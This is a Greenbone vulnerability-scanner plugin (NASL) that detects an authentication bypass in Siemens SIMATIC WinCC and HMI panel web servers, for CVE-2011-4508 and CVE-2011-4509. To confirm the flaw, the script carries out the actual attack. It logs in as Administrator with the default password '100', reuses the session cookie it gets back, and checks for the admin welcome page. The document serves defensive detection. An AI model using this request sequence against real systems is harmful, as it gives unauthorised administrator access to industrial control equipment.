Multiple Siemens SIMATIC Products Authentication Bypass Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103372");
  script_cve_id("CVE-2011-4508", "CVE-2011-4509");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_version("2023-07-28T05:05:23+0000");

  script_name("Multiple Siemens SIMATIC Products Authentication Bypass Vulnerabilities");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51177");
  script_xref(name:"URL", value:"http://xs-sniper.com/blog/2011/12/20/the-siemens-simatic-remote-authentication-bypass-that-doesnt-exist/");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-11-356-01.pdf");

  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-12-23 10:42:29 +0100 (Fri, 23 Dec 2011)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Multiple Siemens SIMATIC products are affected by vulnerabilities that
  allow attackers to bypass authentication.");

  script_tag(name:"impact", value:"An attacker can exploit these issues to bypass intended security
  restrictions and gain access to the affected application. Successfully
  exploiting these issues may lead to further attacks.");

  script_tag(name:"affected", value:"SIMATIC WinCC Flexible 2004 through 2008 SP2 SIMATIC WinCC V11,
  V11 SP1, and V11 SP2 SIMATIC HMI TP, OP, MP, Mobile, and Comfort Series Panels");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");

port = http_get_port(default:80);

host = http_host_name(port:port);

foreach dir (make_list("/", "/www/")) {

  url = string(dir,"start.html");
  buf = http_get_cache(item:url, port:port);
  if(!buf)
    continue;

  if("miniweb" >< tolower(buf)) {

    req = string(
                 "POST ",dir,"FormLogin HTTP/1.1\r\n",
                 "Host: ",host,"\r\n",
                 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
                 "Accept-Encoding: gzip, deflate\r\n",
                 "Referer: http://",host,"/start.html\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: 58\r\n",
                 "\r\n",
                 "Login=Administrator&Redirection=%2Fstart.html&Password=100\r\n\r\n");

    result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

    if("Auth Form Response" >< result) {

      start = eregmatch(string:result, pattern:'url=([^"]+)');
      if(isnull(start[1]))continue;

      co = eregmatch(string:result, pattern:"Set-cookie: ([^,]+)");
      if(isnull(co[1]))continue;

      cookie = co[1];
      url = string(start[1]);

      req = string("GET ", url, " HTTP/1.1\r\n",
                   "Host: ",host,"\r\n",
                   "Cookie: ",cookie," path=/\r\n",
                   "\r\n");
      buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
      if(!buf) continue;

      if("You are logged in" >< buf && "Welcome Administrator" >< buf) {
        security_message(port:port);
        exit(0);
      }
    }
  }
}

exit(0);